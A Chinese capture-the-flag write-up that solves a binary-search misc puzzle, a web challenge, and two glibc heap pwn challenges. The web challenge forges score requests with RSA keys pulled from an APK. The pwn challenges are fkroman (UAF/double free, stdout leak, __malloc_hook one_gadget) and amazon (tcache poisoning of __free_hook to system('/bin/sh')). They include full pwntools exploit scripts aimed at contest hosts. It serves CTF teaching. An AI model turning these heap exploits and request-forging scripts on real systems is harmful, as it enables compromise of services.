原创:LQer合天智汇
原创投稿活动:
http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ
0X00 Misc
findMe
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * #---------------------Setting----------------------- host = '121.40.216.20' port = 9999 context.log_level = 'debug' #---------------------Setting----------------------- def main(r): ground, sky = pow(2,127), pow(2,128) for i in range(200): t = abs(sky-ground)/3+1 r.recvline() r.sendline(hex(ground)) r.recvline() r.sendline(hex(sky)) if t == 1: g1, g2 = sky-t, sky-t else: g1, g2 = sky-t, sky r.recvline() r.sendline(hex(g1)) r.recvline() r.sendline(hex(g2)) ans = r.recvline()[:-1] if 'flag' in ans: print ans return elif ans == '2': sky = sky - t else: ground = sky - t if __name__ == '__main__': while True: try: r = remote(host, port) main(r) break except: r.close() pass
分析源码可以知道,此题是一个数学题。题中每次连接都会生成一个随机secret,而我们要做的事就是先输入g,s,满足以下数学约束,就可以继续输入:
g <= secret <= s
接着输入g1, g2,首先需要继续满足约束:
|g1-g2| > |s-g|/3 + 1
然后根据公式(|secret - g1| - | secret - g2|)**2 < (|g1-g2|)**2的判断结果返回不同结果,true返回1,false返回2。
分析上面的判别式,可以知道,此判别式判别的就是在一维坐标系中,g1和g2是否同时在secret的一侧,如果在同侧,(|secret - g1| - | secret - g2|)**2 == (|g1-g2|)**2判别式为false,如果g1和g2在secret两侧,判别式为true。
于是思路就呼之欲出了。我们要求在secret两侧的g1和g2,因为这样的话,就可以继续令s=g2,g=g1(假设g1 <= g2)。然后递归的压缩g1和g2之间的距离,直到最后g1=g2=secret得到flag。
求在secret两侧的g1和g2,由于每次要满足|g1-g2| > |s-g|/3 + 1,所以最多也就只需要探测三次,代码实现起来不复杂。
exp如下:
from pwn import * p = remote('121.40.216.20',9999) # context.log_level = 'debug' def pack(s): t = hex(s) return t[2:] if t[-1] != 'L' else t[2:-1] def process(ground, sky, g1, g2): print p.recvuntil('g\n')[:-1] print ground p.sendline(pack(ground)) print p.recvuntil('s\n')[:-1] print sky p.sendline(pack(sky)) print p.recvuntil('g1\n')[:-1] print g1 p.sendline(pack(g1)) print p.recvuntil('g2\n')[:-1] print g2 p.sendline(pack(g2)) r=p.recvuntil('\n') if r[:4] != 'flag': print r return int(r[:-1]) else: print r ground = 0 sky = 2**128 pground = 0 psky = 0 # print pack(sky) def find(ground, sky): l = abs(sky - ground)/3 + 1 g1 = ground g2 = g1 + l r = process(ground, sky, g1, g2) if r == 1: return g1,g2 elif r == 2: t = process(ground, sky, g2, g2+l) if t == 1: return g2, g2 + l elif r == 2: t = process(ground, sky, g2, g2) if t == 2: return g2+l, sky for i in range(200): ground,sky = find(ground, sky)
XCTFMisc实战学习可到合天网安实验室:http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2016110115184500001(本系列实验精选了XCTF竞赛中比较有代表性的misc题目供大家学习)
0X01 WEB
gameapp
APK逆向,每次发包时用RsaUnit加密data段,密钥都在APK里面,直接把代码抠出来,生成请求包。
package shon.lau; import java.util.Base64; import java.security.KeyFactory; import java.security.interfaces.RSAPrivateKey; import java.security.interfaces.RSAPublicKey; import java.security.spec.PKCS8EncodedKeySpec; import java.security.spec.X509EncodedKeySpec; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; import org.json.simple.JSONObject; public class RsaUnit { private static Map<Integer, String> keyMap = new HashMap(); public static void genKeyPair() { keyMap.put(Integer.valueOf(0), "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY\nImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8a\nYFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHE\nA3Hau/DTzW4g4xhvzQIDAQAB"); keyMap.put(Integer.valueOf(1),"MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVaXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8UUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4LUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuWcEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYErBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsmA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcbUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4sj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosHz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuflq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchuKMtF7eEv1kHS+3Wd"); // keyMap.put(Integer.valueOf(1), "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVa\nXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8\nUUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4L\nUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuW\ncEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e\n1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYE\nrBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsm\nA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcb\nUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4\nsj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosH\nz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m\n+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuf\nlq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchu\nKMtF7eEv1kHS+3Wd"); } public static String private_decrypt(String paramString) throws Exception { Base64.Decoder decoder = Base64.getDecoder(); String str = (String)keyMap.get(Integer.valueOf(1)); byte[] arrayOfByte1 = decoder.decode(paramString.getBytes("UTF-8")); byte[] arrayOfByte2 = decoder.decode(str); RSAPrivateKey localRSAPrivateKey = (RSAPrivateKey)KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(arrayOfByte2)); Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); localCipher.init(2, localRSAPrivateKey); return new String(localCipher.doFinal(arrayOfByte1)); } public static String private_encrypt(String paramString) throws Exception { Base64.Decoder decoder = Base64.getDecoder(); Base64.Encoder encoder = Base64.getEncoder(); byte[] arrayOfByte = decoder.decode((String)keyMap.get(Integer.valueOf(1))); RSAPrivateKey localRSAPrivateKey = (RSAPrivateKey)KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(arrayOfByte)); Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); localCipher.init(1, localRSAPrivateKey); return encoder.encodeToString(localCipher.doFinal(paramString.getBytes("UTF-8"))); } public static void main(String[] args) { JSONObject localJSONObject = new JSONObject(); try { genKeyPair(); // localJSONObject.put("player", "mads"); localJSONObject.put("score", 100); localJSONObject.put("op", "add"); String data = localJSONObject.toString(); System.out.println(data); System.out.println(RsaUnit.private_encrypt(data)); // String str2 = HttpUnit.post("http://121.40.219.183:9999/startgame/", RsaUnit.private_encrypt(data)); // System.out.println(str2); }catch (Exception e){ System.out.println(e.toString()); } } // // public static String public_decrypt(String paramString) // throws Exception // { // String str = (String)keyMap.get(Integer.valueOf(0)); // byte[] arrayOfByte1 = Base64.decode(paramString.getBytes("UTF-8"), 0); // byte[] arrayOfByte2 = Base64.decode(str, 0); // RSAPublicKey localRSAPublicKey = (RSAPublicKey)KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(arrayOfByte2)); // Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); // localCipher.init(2, localRSAPublicKey); // return new String(localCipher.doFinal(arrayOfByte1)); // } // // public static String public_encrypt(String paramString) // throws Exception // { // byte[] arrayOfByte = Base64.decode((String)keyMap.get(Integer.valueOf(0)), 0); // RSAPublicKey localRSAPublicKey = (RSAPublicKey)KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(arrayOfByte)); // Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); // localCipher.init(1, localRSAPublicKey); // return Base64.encodeToString(localCipher.doFinal(paramString.getBytes("UTF-8")), 0); // } }
第一步是发包登录。在/startgame/接口 第二步是发包增加分数,测试每次最多增加100,写个脚本循环跑。
# -*- coding=utf-8 -*- import requests r = requests.Session() url = 'http://121.40.219.183:9999/score/' headers = { 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Accept-Language': 'en', 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)', 'Cookie': 'session=eyJwbGF5ZXIiOiJtYWRzIiwic2NvcmUiOjUwMH0.XYRf3w.PqYCOJx52Scogjpz9eKY1t1XXgo;', 'Connection': 'close', 'Content-Type': 'xxx', } cookies = {"session": "eyJwbGF5ZXIiOiJtYWRzIiwic2NvcmUiOjkwMH0.XYRg3w.uNx4qY-NVMhuIW8UxmtTkLHTOL4"} data="StGIrDplUxthN/I8va6O9MfKu8ymYzM5eYxNpnNgh7SW7S9JnEbzlNZnaBGSRdffLr2DjOTGcdQH7mSyBkfttL+xuoxGtsMJ126y1ra0ZfYz0Y75cMHmGw3WY62/cng7fheoc8Qq7/YeoaL4j0BGIwKeundOdjQjnAKRc/s3kFA=" for i in range(99999/100): res = r.post(url=url, data=data, cookies=cookies) print res.content cookies["session"] = res.cookies.get("session") # print cookies # break
跑到99999得到flag
flag{2968ababe9b8a875037b15168f67a46c}
0X02 PWN
fkroman
菜单堆,IO_stdout leak的板子题。free掉后没清空指针(uaf),double free重新分配到_IO_2_1_stdout_泄漏出libc地址。最后将__malloc_hook改one_shot拿shell
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import os, sys # Setting at first DEBUG = 3 LIBCV = 2.19 context.arch = "amd64" context.log_level = "debug" elf = ELF("./fkroman",checksec=False) # synonyms for faster typing tube.s = tube.send tube.sl = tube.sendline tube.sa = tube.sendafter tube.sla = tube.sendlineafter tube.r = tube.recv tube.ru = tube.recvuntil tube.rl = tube.recvline tube.ra = tube.recvall tube.rr = tube.recvregex tube.irt = tube.interactive if DEBUG == 1: if context.arch == "i386": libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False) elif context.arch == "amd64": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) s = process("./fkroman") #, env={"LD_PRELOAD" : "./libc-2.23.so"}) elif DEBUG == 2: if context.arch == "i386": libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False) os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 fkroman") os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 fkroman") elif context.arch == "amd64": libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False) os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 fkroman") os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 fkroman") s = process("./fkroman") elif DEBUG == 3: libc = ELF("./libc-2.23.so",checksec=False) ip = "121.40.246.48" port = 9999 s = remote(ip,port) def z(addr): raw_input("debug?") gdb.attach(s, "b *" + str(addr)) wordSz = 4 hwordSz = 2 bits = 32 PIE = 0 mypid=0 def leak(address, size): with open("/proc/%s/mem" % mypid) as mem: mem.seek(address) return mem.read(size) def findModuleBase(pid, mem): name = os.readlink("/proc/%s/exe" % pid) with open("/proc/%s/maps" % pid) as maps: for line in maps: if name in line: addr = int(line.split("-")[0], 16) mem.seek(addr) if mem.read(4) == "\x7fELF": bitFormat = u8(leak(addr + 4, 1)) if bitFormat == 2: global wordSz global hwordSz global bits wordSz = 8 hwordSz = 4 bits = 64 return addr log.failure("Module's base address not found.") sys.exit(1) def zx(addr = 0): global mypid mypid = proc.pidof(s)[0] raw_input("debug?") with open("/proc/%s/mem" % mypid) as mem: moduleBase = findModuleBase(mypid, mem) gdb.attach(s, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr)) def clean(): s.close() if DEBUG == 2: if context.arch == "i386": os.system("patchelf --set-interpreter /lib/ld-linux.so.2 fkroman") os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 fkroman") if context.arch == "amd64": os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 fkroman") os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 fkroman") def menu(x): s.sla("choice: ", str(x)) def alloc(idx, size): menu(1) s.sla("Index: ", str(idx)) s.sla("Size: ", str(size)) def delete(idx): menu(3) s.sla("Index: ", str(idx)) def edit(idx, size, data): menu(4) s.sla("Index: ", str(idx)) s.sla("Size: ", str(size)) s.sa("Content: ", data) def pwn(): alloc(0, 0x80) alloc(1, 0x60) alloc(2, 0x60) # unsorted bin delete(0) # _IO_2_1_stdout_ alloc(3, 0x60) edit(3, 2, '\xdd\x95') # double free delete(2) delete(1) delete(2) # edit point to chunk3 edit(2, 1, '\x00') # alloc _IO_2_1_stdout_ alloc(4, 0x60) #zx(0x1309) alloc(5, 0x60) alloc(6, 0x60) # _IO_2_1_stdout_ # bypass and leak edit(6, 0x54, chr(0)*3 + p64(0)*6 + p64(0xfbad3887) + p64(0)*3 + '\0') s.ru(p64(0xfbad3887)) s.r(0x18) libc.address = u64(s.r(6) + '\0\0') - 0x3c5600 one_shot = libc.address + 0x4526a malloc_hook = libc.sym['__malloc_hook'] info("libc.address 0x%x", libc.address) info("one_shot 0x%x", one_shot) info("malloc_hook 0x%x", malloc_hook) # free list delete(5) delete(4) # edit point to __malloc_hook edit(4, 8, p64(malloc_hook-0x23)) # alloc __malloc_hook alloc(7, 0x60) alloc(8, 0x60) # write one_shot edit(8, 0x1b, chr(0)*3 + p64(0)*2 + p64(one_shot)) alloc(20, 20) #zx(0x1309) #alloc(9, 0x60) s.irt() #clean() #ctf{63f2fa2d7f94394dc3d8e9be1abd34c4} def dump(): pwn() s.recv(timeout=1) s.sl("cat fkroman") s.sl("exit") data = s.ra() f = open("dump", "wb") f.write(data) f.close() if __name__ == "__main__": pwn()
amazon
tcache attack,先free掉7次填充tcache bin,当下一次free掉,chunk进入unsorted bin,调用show泄漏出libc地址。覆盖tcache的fd指针为__free_hook,malloc到该处写入system地址,调用free("/bin/sh")拿shell
```python= from pwn import *
p = process('./amazon')
p = remote('121.41.38.38', 9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug'
def launch_gdb(): context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0])
def new(s,d): p.recvuntil('choice:') p.sendline('1') p.recvuntil('buy:') p.sendline('2') p.recvuntil('many:') p.sendline('1') p.recvuntil('note:') p.sendline(str(s)) p.recvuntil('Content:') p.sendline(d)
def free(i): p.recvuntil('choice:') p.sendline('3') p.recvuntil('for:') p.sendline(str(i))
def show(): p.recvuntil('choice:') p.sendline('2')
launch_gdb()
new(0xa0,'cnm') # 0 for _ in xrange(7): free(0) new(0xb0,'*ucfk**') # 1 for _ in xrange(7): free(1) new(0x20,'*ucfk**') # 2 free(0) show() p.recvuntil('Name: ') leak = u64(p.recv(6).ljust(8,'\x00')) log.info('leak ' + hex(leak)) libc_base = leak - 4111520 free(1) new(0x100,p64(libc_base + 4118760 - 0x40) * (0x100/8)) # 3 new(0xb0,'nmsl\x00') free(3) new(0x100,'/bin/sh\x00' * (0x100/8))
new(0xb0,p64(0) * 4 + p64(libc_base + libc.symbols['system'])) free(1)
p.interactive()
```
CTF-PWN训练可到合天网安实验室学习课程——CTF-PWN进阶训练:http://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182015111814415800001(旨在帮助CTF初学者快速掌握复杂PWN题型的基本解题思路与技巧,包括溢出模型、信息泄露、ROP等)
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!